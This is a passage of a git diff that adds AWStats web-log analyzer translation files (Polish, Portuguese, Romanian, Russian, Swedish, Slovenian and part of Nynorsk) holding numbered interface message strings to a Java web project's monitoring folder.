logganalysator for avansert vevstatistikk +message55=av +message56=Sider +message57=Treff +message58=Versjonar +message59=Operativsystem +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Mai +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Des +message72=Navigasjon +message73=Filtypar +message74=Oppdater no +message75=Bandbreidd +message76=Tilbake til hovudsida +message77=�vste +message78=yyyy-mm-dd - HH:MM +message79=Berre vis +message80=Full liste +message81=Vertar +message82=kjente +message83=Robotar +message84=S�. +message85=M�. +message86=Ty. +message87=On. +message88=To. +message89=Fr. +message90=La. +message91=Dagar i veka +message92=Kven +message93=N�r +message94=Autentiserte brukarar +message95=Min. +message96=Snitt +message97=Maks. +message98=Komprimering +message99=Bandbreidd spart +message100=Komprimering p� +message101=Komprimeringsresultat +message102=Totalt +message103=forskjellige s�kjeuttrykk +message104=Inngangssider +message105=Kode +message106=Snittstorleik +message107=Lenkjer fr� njusgrupper +message108=KiB +message109=MiB +message110=GiB +message111=Hentar +message112=Ja +message113=Nei +message114=WhoIs-info +message115=OK +message116=Utgangssider +message117=Bes�kslengd +message118=Lukk vindauge +message119=Byte +message120=S�kjeuttrykk +message121=S�kjeord +message122=forskjellige s�kjemotorar +message123=forskjellige nettstadar +message124=Andre uttrykk +message125=Andre p�logginar (og/eller anonyme brukarar) +message126=S�kjemotorar +message127=Nettstadar +message128=Samandrag +message129=N�yaktige tal finst ikkje for �rsoversikta +message130=Verditabellar +message131=E-post (avsendar) +message132=E-post (mottakar) +message133=Rapportperiode +message134=Ekstra +message135=Skjermstorleik +message136=Orm- og virus�tak +message137=Lagt til i bokmerkesamling (ikkje n�yaktig) +message138=Dagar i m�naden +message139=Ymse +message140=Nettlesarar med Java-st�tte +message141=Nettlesarar med Macromedia Director-st�tte +message142=Nettlesarar med Flash-st�tte +message143=Nettlesarar med RealAudio-lydst�tte +message144=Nettlesarar med QuickTime-lydst�tte +message145=Nettlesarar med Windows Media-lydst�tte +message146=Nettlesarar med PDF-st�tte +message147=SMTP-feilkodar +message148=Land +message149=E-postar +message150=Storleik +message151=F�rste +message152=Siste +message153=Ikkje vis +message154=* Kodar her gav treff eller trafikk �ikkje sett� av gjestane, og blir derfor vist for seg. +message155=Klynge \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pl.txt new file mode 100644 index 0000000..f78b0f6 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pl.txt @@ -0,0 +1,174 @@ +# Polish message file (review: momat@users.sourceforge.net) +# $Revision: 1.12 $ - $Date: 2009/08/08 12:01:17 $ +PageCode=iso-8859-2 +message0=Nieznane +message1=Nieznane (brak odwzorowania IP w DNS) +message2=Inne +message3=Szczeg�y... +message4=Dzie� +message5=Miesi�c +message6=Rok +message7=Statystyki dla +message8=Pierwsza wizyta +message9=Ostatnia wizyta +message10=Liczba wizyt +message11=Unikatowych go�ci +message12=Wizyt +message13=r�ne s�owa kluczowe +message14=Szukane +message15=Procent +message16=Ruch +message17=Domeny/Kraje +message18=Go�cie +message19=Strony +message20=Rozk�ad godzinny +message21=Przegl�darki +message22=B��dy HTTP +message23=Referenci +message24=Nie uaktualniany (zobacz 'Build/Update' na stronie awstats_setup.html) +message25=Domeny/Kraje go�ci +message26=hosty +message27=strony +message28=r�nych stron +message29=Odwiedziny +message30=Inne s�owa +message31=Nie znalezione strony +message32=Kody b��d�w HTTP +message33=Wersje Netscape'a +message34=Wersje IE +message35=Ostatnia aktualizacja +message36=�r�d�a po��cze� +message37=Pochodzenie +message38=Bezpo�redni adres / Zak�adki(Ulubione) +message39=Nieznane Pochodzenie +message40=Odno�nik z wyszukiwarki internetowej +message41=Odno�nik ze strony zewn�trznej (innej ni� strona wyszukiwarki) +message42=Odno�nik ze strony wewn�trznej (inna strona w tym samym serwisie) +message43=Frazy u�yte w wyszukiwarkach internetowych +message44=S�owa kluczowe u�yte w wyszukiwarkach internetowych +message45=Nieznane (brak odwzorowania IP w DNS) +message46=Nieznany system operacyjny +message47=Nie znaleziony (B��d HTTP 404) +message48=Adres IP +message49=B��dne ��dania +message50=Nieznane przegl�darki +message51=r�ne roboty sieciowe +message52=wizyt/go�ci +message53=Roboty sieciowe +message54=Analizator log�w on-line +message55=z +message56=Strony +message57=��dania +message58=Wersje +message59=Systemy operacyjne +message60=Sty +message61=Lut +message62=Mar +message63=Kwi +message64=Maj +message65=Cze +message66=Lip +message67=Sie +message68=Wrz +message69=Pa� +message70=Lis +message71=Gru +message72=Nawigacja +message73=Typ pliku +message74=Aktualizuj +message75=Pasmo +message76=Z powrotem +message77=Pierwsze +message78=dd mmm yyyy - HH:MM +message79=Filtr +message80=Pe�na lista +message81=Hosty +message82=Znane +message83=Roboty sieciowe +message84=Ni +message85=Pn +message86=Wt +message87=�r +message88=Cz +message89=Pt +message90=So +message91=Dni tygodnia +message92=Kto +message93=Kiedy +message94=Uwierzytelnieni u�ytkownicy +message95=Min +message96=�rednio +message97=Max +message98=Kompresja +message99=Pasmo zaoszcz�dzone +message100=Przed skompresowaniem +message101=Po skompresowaniu +message102=Razem +message103=r�ne frazy +message104=Strona wej�ciowa +message105=Kod +message106=�rednia wielko�� +message107=Linki z grup dyskusyjnych +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Tak +message113=Nie +message114=Informacja Whois +message115=OK +message116=Strona wyj�ciowa +message117=Czasy wizyt +message118=Zamknij okno +message119=Bajt�w +message120=Poszukiwane frazy +message121=Poszukiwane s�owa kluczowe +message122=r�ne wyszukiwarki +message123=r�ne strony +message124=Inne frazy +message125=U�ytkownicy anonimowi +message126=Linkuj�ce wyszukiwarki internetowe +message127=Linkuj�ce strony +message128=Podsumowanie +message129=Dok�adna warto�� nie jest dost�pna w widoku rocznym +message130=Tablice z warto�ciami danych +message131=Nadawca wiadomo�ci pocztowych +message132=Odbiorca wiadomo�ci pocztowych +message133=Raportowany okres +message134=Extra/Marketing +message135=Rozmiary ekran�w +message136=Ataki robak�w/wirus�w internetowych +message137=Dodaj do ulubionych (szacunkowo) +message138=Dni miesi�ca +message139=Rozmaito�ci +message140=Przegl�darki z obs�ug� Java +message141=Przegl�darki z obs�ug� Macromedia Director +message142=Przegl�darki z obs�ug� Flash +message143=Przegl�darki z obs�ug� odtwarzacza Real audio +message144=Przegl�darki z obs�ug� odtwarzacza Quicktime audio +message145=Przegl�darki z obs�ug� odtwarzacza Windows Media audio +message146=Przegl�darki z obs�ug� PDF +message147=Kody b��d�w SMTP +message148=Kraje +message149=Wiadomo�ci pocztowe +message150=Rozmiar +message151=Pierwszy +message152=Ostatni +message153=Filtr wykluczaj�cy +message154=Pokazane tutaj kody dotycz� ��da� lub ruchu "nieogl�danego" przez go�ci, dlatego nie s� zawarte w innych zestawieniach. +message155=Klaster +message156=Pokazane tutaj roboty sieciowe generuj� ruch "nieogl�dany" przez go�ci, dlatego nie s� zawarte w innych zestawieniach. +message157=Liczby po + dotycz� udanych odwo�a� do plik�w "robots.txt". +message158=Pokazane tutaj robaki internetowe generuj� ruch "nieogl�dany" przez go�ci, dlatego nie s� zawarte w innych zestawieniach. +message159=Ruch nieogl�dany zawiera ruch generowany przez roboty, robaki internetowe lub odpowiedzi ze specjalymi kodami statusu HTTP. +message160=Ruch ogl�dany +message161=Ruch nieogl�dany +message162=Historia miesi�czna +message163=Robaki internetowe +message164=r�ne robaki internetowe +message165=Wiadomo�ci pocztowe wys�ane prawid�owo +message166=Wiadomo�ci pocztowe nie wys�ane/odrzucone +message167=Wra�liwe cele +message168=Javascript wy��czony +message169=Wygenerowane przez +message170=wtyczki \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pt.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pt.txt new file mode 100644 index 0000000..7403e16 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pt.txt @@ -0,0 +1,168 @@ +# Portuguese message file +# $Revision: 1.11 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Desconhecido +message1=Desconhecido (ip n�o resolvido) +message2=Outros visitantes +message3=Ver detalhes +message4=Dia +message5=M�s +message6=Ano +message7=Estat�sticas de +message8=Primeira visita +message9=�ltima visita +message10=Numero de visitas +message11=Visitantes �nicos +message12=Visita +message13=Palavra chave +message14=Pesquisa +message15=Percentagem +message16=Tr�fego +message17=Dom�nios/Pa�ses +message18=Visitantes +message19=P�ginas/URL +message20=Horas +message21=Visualizadores +message22=Erros HTTP +message23=Referencias +message24=Busca Palavras +message25=Visitas dom�nios/pa�ses +message26=hosts +message27=p�ginas +message28=paginas diferentes +message29=Acesso +message30=Outras palavras +message31=P�ginas n�o encontradas +message32=Erros HTTP +message33=Vers�es Netscape +message34=Vers�es MS Internet Explorer +message35=Ultima Actualiza��o +message36=Ligado a partir de +message37=Origem +message38=Endere�o directo / Favoritos +message39=Origem desconhecida +message40=Liga��es de um motor de busca +message41=Liga��es de p�ginas externas (outros que n�o motores de busca) +message42=Liga��es de p�ginas internas (p�ginas no mesmo site) +message43=Frases usadas em motores de busca +message44=Palavras usadas em motores de busca +message45=Endere�o IP n�o resolvido +message46=SO Desconhecido (Campo Referer) +message47=URLs solicitadas e n�o encontradas (HTTP code 404) +message48=Endere�o IP +message49=Erro Hits +message50=Browsers Desconhecidos (Campo Referer) +message51=Motores visitantes +message52=visitas/visitante +message53=Motores/Spiders +message54=Ferramenta de An�lise de ficheiros de log em realtime para estat�sticas avan�adas +message55=de +message56=P�ginas +message57=Hits +message58=Vers�es +message59=SO +message60=Jan +message61=Fev +message62=Mar +message63=Abr +message64=Mai +message65=Jun +message66=Jul +message67=Ago +message68=Set +message69=Out +message70=Nov +message71=Dez +message72=Navega��o +message73=Tipos de Arquivos +message74=Actualizar +message75=Bytes +message76=Retorna � p�gina inicial +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filtro +message80=Lista completa +message81=Hosts +message82=Conhecido(a)(s) +message83=Rob�s +message84=Dom +message85=Seg +message86=Ter +message87=Qua +message88=Qui +message89=Sex +message90=Sab +message91=Dias da semana +message92=Quem +message93=Quando +message94=Utilizadores autenticados +message95=Min +message96=Med +message97=Max +message98=Compress�o Web +message99=Banda economizada +message100=Antes da compress�o +message101=Depois da compress�o +message102=Total +message103=palavras-chave(s) diferente(s) +message104=P�ginas de entrada +message105=C�digo +message106=Dimens�o m�dia +message107=Liga��es de um NewsGroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Sim +message113=N�o +message114=Info. +message115=OK +message116=Sair +message117=Dura��o da visita +message118=Fechar janela +message119=Bytes +message120=Frases de busca +message121=Palavras de busca +message122=Referenciados por diferentss motores de busca +message123=Referenciados por diferentes p�ginas +message124=Outras frases +message125=Outros logins (e/ou utilizadores an�nimos) +message126=Motores de busca referenciadores +message127=P�ginas referenciadoras +message128=Resumo +message129=Valor exacto n�o dispon�vel em vista 'Ano' +message130=Lista de valores +message131=Sender EMail +message132=Receiver EMail +message133=Per�odo considerado +message134=Extra/Marketing +message135=Tamanhos de ecr� +message136=Ataques de Worm/Virus +message137=Adicionar a favoritos (estimado) +message138=Dias do m�s +message139=Diversos +message140=Browsers com suporte Java +message141=Browsers com suporte Macromedia Director +message142=Browsers com suporte Flash +message143=Browsers com suporte para audio Real +message144=Browsers com suporte para audio Quicktime +message145=Browsers com suporte para audio Windows Media +message146=Browsers com suporte para PDF +message147=C�digos de erro SMTP +message148=Pa�ses +message149=Correios +message150=Tamanho +message151=Primeiro +message152=�ltimo +message153=Filtro de exclus�o +message154=C�digos mostrados aqui deram 'hits' ou tr�fego "n�o visto" pelos visitantes, por isso n�o ser�o incluidos em outros gr�ficos. +message155=Cluster +message156=Robots mostrados aqui deram 'hits' ou tr�fego "n�o visto" pelos visitantes, por isso n�o ser�o incluidos em outros gr�ficos. +message157=Valores ap�s + s�o 'hits' directos em ficheiros "robots.txt". +message158=Worms mostrados aqui deram 'hits' ou tr�fego "n�o visto" pelos visitantes, por isso n�o ser�o incluidos em outros gr�ficos. +message159=Tr�fego "n�o visto" � tr�fego gerado por robots, worms ou respostas a c�digos de status HTTP especiais. +message160=Tr�fego visualizado +message161=Tr�fego n�o visualizado +message162=Hist�rico mensal +message163=Worms +message164=Worms diferentes diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ro.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ro.txt new file mode 100644 index 0000000..169191a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ro.txt @@ -0,0 +1,114 @@ +# Romanian message file (Codre Adrian <codreadrian@softhome.net> - Florin Radulescu <florin_ef309@yahoo.com>) +# $Revision: 1.3 $ - $Date: 2002/05/28 00:06:34 $ +PageCode=iso-8859-2 +message0=Necunoscute +message1=Necunoscute (adres� ip nerezolvat�) +message2=Alte +message3=Detalii +message4=Ziua +message5=Luna +message6=Anul +message7=Statistici pentru: +message8=Prima vizit� +message9=Ultima vizit� +message10=Num�rul de vizite +message11=Vizitatori unici +message12=Vizit� +message13=Cuv�nt cheie +message14=C�utare +message15=Procent +message16=Trafic +message17=Domenii/��ri +message18=Vizitatori +message19=Pagini-URL +message20=Ore (Timp server) +message21=Browsere +message22=Erori HTTP +message23=Referiri +message24=C�utare Cuvinte cheie +message25=Domenii vizitatori/��ri +message26=gazde +message27=pagini +message28=pagini diferite +message29=Contor vizualiz�ri +message30=Alte cuvinte +message31=Pagini neg�site +message32=Coduri de eroare HTTP +message33=Versiuni Netscape +message34=Versiuni IE +message35=Ultima actualizare +message36=Conectare de la +message37=Origine +message38=Adres� direct� / Semn de carte +message39=Origine necunoscut� +message40=Leg�tur� de la un motor de c�utare +message41=Legatur� de la o pagin� extern� (alt site cu excep�ia motoarelor de c�utare) +message42=Leg�tur� de la o pagin� intern� (alt� pagin� de pe acela�i site) +message43=Cuvinte c�utate cu motoare de c�utare +message44= +message45=IP nerezolvat +message46=Sistem de operare necunoscut +message47=Pagini cerute dar neg�site (cod eroare HTTP num�rul 404) +message48=Adres� IP +message49=Eroare Acces�ri +message50=Browsere necunoscute +message51=Robo�i +message52=vizite/vizitatori +message53=Robo�i/Motoare de c�utare +message54=Analizator de trafic �n timp real pentru statistici web avansate +message55=din +message56=Pagini +message57=Acces�ri +message58=Versiuni +message59=Sisteme de operare +message60=Ian +message61=Feb +message62=Mar +message63=Apr +message64=Mai +message65=Iun +message66=Iul +message67=Aug +message68=Sep +message69=Oct +message70=Nov +message71=Dec +message72=Navigare +message73=Statistici zilnice +message74=Actualizeaz� acum +message75=Octe�i +message76=�napoi la pagina principal� +message77=Primele +message78=dd mm yyyy - HH:MM +message79=Filtru +message80=Toat� lista +message81=Gazde +message82=Cunoscute +message83=Robo�i +message84=Dum +message85=Lun +message86=Mar +message87=Mie +message88=Joi +message89=Vin +message90=Sam +message91=Zilele s�pt�m�nii +message92=Cine +message93=C�nd +message94=Utilizatori autentificati +message95=Min +message96=Medie +message97=Max +message98=Compresie web +message99=Band� economisit� +message100=Inainte de compresie +message101=Dupa compresie +message102=Total +message103=fraze cheie diferite +message104=Pagin� de intrare +message105=Cod +message106=Trafic mediu +message107=Legaturi de la un grup de News +message108=KB +message109=MB +message110=GB \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ru.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ru.txt new file mode 100644 index 0000000..ae70991 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ru.txt @@ -0,0 +1,176 @@ +# Russian message file +# $Revision: 1.15 $ - $Date: 2009/10/25 11:12:35 $ +PageCode=utf-8 +message0=Неизвестный +message1=Неизвестный +message2=Остальные +message3=Показать подробности +message4=День +message5=Месяц +message6=Год +message7=Статистика за +message8=Первый визит +message9=Последний визит +message10=Количество визитов +message11=Уникальные посетители +message12=Визит +message13=различные ключевые слова +message14=Поиск +message15=Процент +message16=Трафик +message17=Домены/Страны +message18=Посетители +message19=Адрес страницы +message20=Часы +message21=Браузеры +message22= +message23=Рефереры +message24=Необновленный (Смотрите 'Создать/Обновить' на странице awstats_setup.html) +message25=Посетители домены/страны +message26=хосты +message27=страницы +message28=Различные url +message29=Просмотров +message30=Остальные слова +message31=Страницы не найдены +message32=Статусы ошибок HTTP +message33=Версии Netscape +message34=Версии IE +message35=Последнее обновление +message36=Соединение с сайтом из +message37=Происхождение +message38=Прямой адрес / Закладки +message39=Неизвестное происхождение +message40=Ссылки из поисковых систем +message41=Ссылки из внешней страницы (остальные web сайты исключая поисковые системы) +message42=Ссылки из внутренней страницы (остальные страницы на том же сайте) +message43=Ключевые фразы использующиеся поисковыми машинами +message44=Ключевые слова использующиеся поисковыми машинами +message45=Неразрешенный IP адрес +message46=Неизвестные Операционные системы (поле useragent) +message47=Требуемые но не найденные URL (HTTP code 404) +message48=IP адрес +message49=Ошибка Хиты +message50=Неизвестные браузеры (поле useragent) +message51=различные роботы +message52=Визитов/Посетитель +message53=Роботы/Пауки посетители +message54=Бесплтаный анализатор лог-файлов для расширенной Web статистики. +message55=от +message56=Страницы +message57=Хиты +message58=Версии +message59=Операционные системы +message60=Январь +message61=Февраль +message62=Март +message63=Апрель +message64=Май +message65=Июнь +message66=Июль +message67=Август +message68=Сентябрь +message69=Октябрь +message70=Ноябрь +message71=Декабрь +message72=Навигация +message73=Тип файла +message74=Обновить сейчас +message75=Объем +message76=Вернуться на главную страницу +message77=Топ +message78=dd mmm yyyy - HH:MM +message79=Фильтр +message80=Полный список +message81=Хосты +message82=Известные +message83=Роботы +message84=Воскресенье +message85=Понедельник +message86=Вторник +message87=Среда +message88=Четверг +message89=Пятница +message90=Суббота +message91=День недели +message92=Кто +message93=Когда +message94=Авторизованные пользователи +message95=Минимальное +message96=Среднее +message97=Максимальное +message98=Web компрессия +message99=Сохраненная величина +message100=Компрессия включена +message101=Результат компрессии +message102=Total +message103=Различные ключевые фразы +message104=Вхождение +message105=Код +message106=Средний размер +message107=Ссылки из новостных групп +message108=КБ +message109=МБ +message110=ГБ +message111=Грабер +message112=Да +message113=Нет +message114=Инфо. +message115=OK +message116=Выход +message117=Продолжительность визитов +message118=Закрыть окно +message119=Байты +message120=Поисковые Ключевые фразы +message121=Поисковые Ключевые слова +message122=различные ссылающиеся поисковые машины +message123=различные ссылающиеся сайты +message124=Остальные фразы +message125=Отстальные логины (и/или анонимные пользователи) +message126=Ссылающиеся поисковые машины +message127=Ссылающиеся сайты +message128=Общее +message129=Точное значение не доступно в виде 'Year' +message130=Массивы данных +message131=Отправитель EMail +message132=Получатель EMail +message133=Отчетный период +message134=Дополнительно/Маркетинг +message135=Разрешение экрана +message136=Атаки вредоностных программ +message137=Добавить в закладки (предполагаемый) +message138=День месяца +message139=Смешанные +message140=Браузеры с поддержкой Java support +message141=Браузеры с поддержкой Macromedia Director +message142=Браузеры с поддержкой Flash Support +message143=Браузеры с поддержкой Real audio playing +message144=Браузеры с поддержкой Quicktime audio playing +message145=Браузеры с поддержкой Windows Media audio playing +message146=Браузеры с поддержкой PDF +message147=Коды ошибок SMTP +message148=Страны +message149=Почта +message150=Размер +message151=Первый +message152=Последний +message153=Фильтр исключений +message154=Коды отображенные здесь генерируют трафик не отображаемый посетителям, поэтому они не включены в остальную статистику. +message155=Кластер +message156=Роботы отображенные здесь генерируют трафик не отображаемый посетителям, поэтому они не включены в остальную статистику. +message157=Числа после + хиты успешно защитанные для файла "robots.txt" +message158=Вирусы отображенные здесь генерируют трафик не отображаемый посетителям, поэтому они не включены в остальную статистику. +message159=Не отображаемый трафик влючает в себя трафик сгенерированный роботами, вирусами или ответом сервера со специальным HTTP кодом. +message160=Отображаемый трафик +message161=Не отображаемый трафик +message162=История за месяц +message163=Вирусы +message164=Различные вирусы +message165=Почта успешно отправлена +message166=Отправка почты неудалась +message167=Чувствительность целей +message168=Javascript отключен +message169=Создано +message170=плагины +message171=Регионы +message172=Города diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-se.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-se.txt new file mode 100644 index 0000000..4e3255b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-se.txt @@ -0,0 +1,171 @@ +# Swedish message file +# $Revision: 1.14 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Okänd +message1=Okända (ip-adress ej uppslagen) +message2=Övriga +message3=Visa detaljer +message4=Dag +message5=Månad +message6=År +message7=Statistik för +message8=Första besök +message9=Senaste besök +message10=Antal besök +message11=Unika besökare +message12=Besök +message13=Nyckelord +message14=Sök +message15=Procent +message16=Trafik +message17=Domäner/Länder +message18=Besökare +message19=Sidor/URL +message20=Tidpunkt (Servertid) +message21=Webbläsare +message22=HTTP-fel +message23=Refererande sidor +message24=Söktermer +message25=Besökandes domäner/länder +message26=hosts +message27=sidor +message28=olika sidor +message29=Besökta sidor +message30=Övriga ord +message31=Sidan hittades inte +message32=HTTP-felmeddelanden +message33=Netscape-versioner +message34=IE-versioner +message35=Senaste uppdatering +message36=Besökarna nådde siten genom +message37=Ursprung +message38=Direkt adress / Bokmärken +message39=Okänt ursprung +message40=Länkar från sökmotorer +message41=Länkar från externa sidor (andra webbsidor med undantag för sökmotorer) +message42=Länkar från interna sidor (annan sida på samma sajt) +message43=Nyckelfraser som använts på sökmotorer +message44=Nyckelord som använts på sökmotorer +message45=Ip-adress ej uppslagen +message46=Okänt operativsystem (Referer-fält) +message47=Efterfrågade men ej funna URL:er (HTTP fel 404) +message48=IP-adress +message49=Fel träffar +message50=Okända webbläsare (Referer-fält) +message51=Besökande webbrobotar/spindlar +message52=besök/besökare +message53=Besökande webbrobotar/spindlar +message54=Gratis loggfilsanalysator för avancerad realtids webbstatistik +message55=av +message56=Sidor +message57=Träffar +message58=Versioner +message59=Operativsystem +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Maj +message65=Jun +message66=Jul +message67=Aug +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigering +message73=Filtyper +message74=Uppdatera nu +message75=Byte +message76=Tillbaka till första sidan +message77=Topp +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Fullständig lista +message81=Besökare +message82=Kända +message83=Robotar +message84=Sön +message85=Mån +message86=Tis +message87=Ons +message88=Tor +message89=Fre +message90=Lör +message91=Veckodagar +message92=Vem +message93=När +message94=Verifierade användare +message95=Min +message96=Medel +message97=Max +message98=Webbkomprimering +message99=Sparad bandbredd +message100=Före komprimering +message101=Efter komprimering +message102=Totalt +message103=olika söksträngar +message104=Entrésidor +message105=Kod +message106=Medelstorlek +message107=Länkar från en Nyhetsgrupp +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Ja +message113=Nej +message114=WhoIs information +message115=OK +message116=Avslut +message117=Besökets Längd +message118=Stäng Fönster +message119=Bytes +message120=Söknyckelfraser +message121=Söknyckelord +message122=olika refererande sökmotorer +message123=olika refererande siter +message124=Andra fraser +message125=Andra logins (och/eller anonyma användare) +message126=Refererande sökmotorer +message127=Refererande siter +message128=Summering +message129=Exakt värde inte tillgängligt i 'År' vy +message130=Datavärde vektor +message131=Avsändare E-post +message132=Mottagare E-post +message133=Rapporterad period +message134=Extra/Marknadsföring +message135=Skärmstorlekar +message136=Maskar/Virus attacker +message137=Lägg till i Favoriter (estimerat) +message138=Dag i månad +message139=Diverse +message140=Webbläsare med Java stöd +message141=Webbläsare med Macromedia Director stöd +message142=Webbläsare med Flash stöd +message143=Webbläsare som kan spela upp Real audio +message144=Webbläsare som kan spela upp Quicktime audio +message145=Webbläsare som kan spela upp Windows Media audio +message146=Webbläsare med PDF stöd +message147=SMTP Felkoder +message148=Länder +message149=E-postmeddelanden +message150=Storlek +message151=Första +message152=Sista +message153=Exclude filter +message154=Koder som visas i detta diagram anger automatisk trafik. +message155=Kluster +message156=De robotar som visas här orsakade automatisk trafik som ej är inkluderad i de övriga resultaten. +message157=Siffror efter + anger träffar på "robots.txt" filer. +message158=De maskar som visas här orsakade automatisk trafik som ej är inkluderad i de övriga resultaten. +message159=Automatisk trafik betyder trafik orsakad av robotar, maskar och svar med särskilda HTTP statuskoder. +message160=Manuell trafik +message161=Automatisk trafik +message162=Månatlig statistik +message163=Maskar +message164=olika maskar +message165=E-post sänd ok +message166=E-post misslyckad/nekad +message167=Känsliga mål \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-si.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-si.txt new file mode 100644 index 0000000..39f688b --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-si.txt @@ -0,0 +1,176 @@ +# Slovenian message file (goran@dodig.org) +# $Revision: 1.2 $ - $Date: 2007/01/28 19:00:35 $ +PageCode=utf-8 +message0=Neznanih +message1=Neznanih (nepoznan IP) +message2=Drugi +message3=Glej detajle +message4=Dan +message5=Mesec +message6=Leto +message7=Statistike za +message8=Prvi obisk +message9=Zadnji obisk +message10=Št. obiskov +message11=Različnih obiskovalcev +message12=Obisk +message13=različnih ključnih besed +message14=Iskanje +message15=Procentov +message16=Promet +message17=Domene/Države +message18=Obiskovalcev +message19=Strani-URL +message20=Promet po urah dneva +message21=Brskalniki +message22= +message23=Refererji +message24=Nikoli posodobljen (Glej 'Build/Update' na awstats_setup.html strani) +message25=Obiskovalcev iz domene/države +message26=obiskovalcev +message27=strani +message28=različnih strani-urljev +message29=Obiskane strani +message30=Druge besede +message31=Strani, ki niso bile najdene +message32=HTTP statusne kode +message33=Netscape verzije +message34=IE verzije +message35=Zadnja osvežitev +message36=Povezave z drugih strani +message37=Izvor +message38=Direktni naslovi / zaznambe +message39=Neznan izvor +message40=Povezave z internet iskalnikov +message41=Povezave z zunanjih strani (z drugih internet strani, razen iskalnikov) +message42=Povezave z internih strani +message43=Iskalne fraze uporabljene na iskalnikih +message44=Iskalni termini uporabljeni na iskalnikih +message45=Nepoznani IP naslovi +message46=Nepoznan OS (polje useragent) +message47=URLji, ki niso bili najdeni (HTTP koda 404) +message48=IP Naslov +message49=Napaka Zadetkov +message50=Neznani brskalniki (polje useragent) +message51=različni roboti +message52=obiskov/obiskovalca +message53=Robotov/spiderjev +message54=Brezplačen realtime logfile analizator za web statistike +message55=od +message56=strani +message57=Zadetkov +message58=Po verzijah +message59=Operacijski sistemi +message60=Jan +message61=Feb +message62=Mar +message63=Apr +message64=Maj +message65=Jun +message66=Jul +message67=Avg +message68=Sep +message69=Okt +message70=Nov +message71=Dec +message72=Navigacija +message73=Tip datoteke +message74=Osveži zdaj +message75=Promet +message76=Nazaj na glavno stran +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filter +message80=Cela lista +message81=Obiskovalcev +message82=Znanih +message83=Robotov +message84=Ned +message85=Pon +message86=Tor +message87=Sre +message88=Čet +message89=Pet +message90=Sob +message91=Promet po dnevih v tednu +message92=Kdo +message93=Časovni pregled +message94=Prijavljenih uporabnikov +message95=Min +message96=Povprečno +message97=Max +message98=Web kompresija +message99=Prihranjena pasovna širina +message100=Kompresija vklopljena +message101=Rezultat kompresije +message102=Skupaj +message103=različnih fraz +message104=Vpis +message105=Koda +message106=Povprečna velikost +message107=Povezav iz NewsGroup +message108=KB +message109=MB +message110=GB +message111=Grabber +message112=Da +message113=Ne +message114=Info. +message115=OK +message116=Izhod +message117=Trajanje obiskov +message118=Zapri okno +message119=Bytov +message120=Iskalne fraze +message121=Iskalne ključne besede +message122=različnih iskalnikov +message123=različnih internet strani +message124=Druge fraze +message125=Druge prijave (in/ali anonimni uporabniki) +message126=Iskalniki +message127=Internet strani +message128=Zbirno poročilo +message129=Natančna vrednost v pogledu 'Leto' ni na voljo +message130=Polja podatkovnih vrednosti +message131=Email pošiljatelja +message132=Email prejemnika +message133=Obobje poročila +message134=Ekstra/Marketing +message135=Velikosti ekranov +message136=Worm/Virus napadi +message137=Dodano med priljubljene (približno) +message138=Promet po dnevih v mesecu +message139=Razno +message140=Brskalniki s podporo Javi +message141=Brskalniki s podporo Macromedia Directorju +message142=Brskalniki s podporo Flashu +message143=Brskalniki s podporo Real audia +message144=Brskalniki s podporo Quicktime +message145=Brskalniki s podporo Windows Media audia +message146=Brskalniki s podporo PDF +message147=SMTP Error kode +message148=Države +message149=Sporočil +message150=Velikost +message151=Prvi +message152=Zadnji +message153=Filter za izločanje +message154=Tu prikazane kode generirajo promet, ko ga obiskovalci ne vidijo, za to ta promet ni vključen v drugih pregledih. +message155=Cluster +message156=Tu prikazani roboti generirajo promet, ki ga obiskovalci ne vidijo, zato ta promet ni vključen v drugih pregledih. +message157=Številke po + so uspešni zadetki "robots.txt" datotek. +message158=Tu prikazani wormi generirajo promet, ki ga obiskovalci ne vidijo, zato ta promet ni vključen v drugih pregledih. +message159=Promet brez ogledov predstavlja promet generiran z roboti, wormi, ali odgovori s HTTP statustnimi kodami. +message160=Promet z ogledi +message161=Promet brez ogledov +message162=Promet po mesecih +message163=Wormi +message164=različnih wormov +message165=Uspešno poslanih sporočil +message166=Neuspešno poslana/zavrnjena sporočila +message167=Občutljive tarče +message168=Javascript izklopljen +message169=Created by +message170=plugini +message171=Območja +message172=Mesta \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sk.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sk.txt new file mode 100644 index 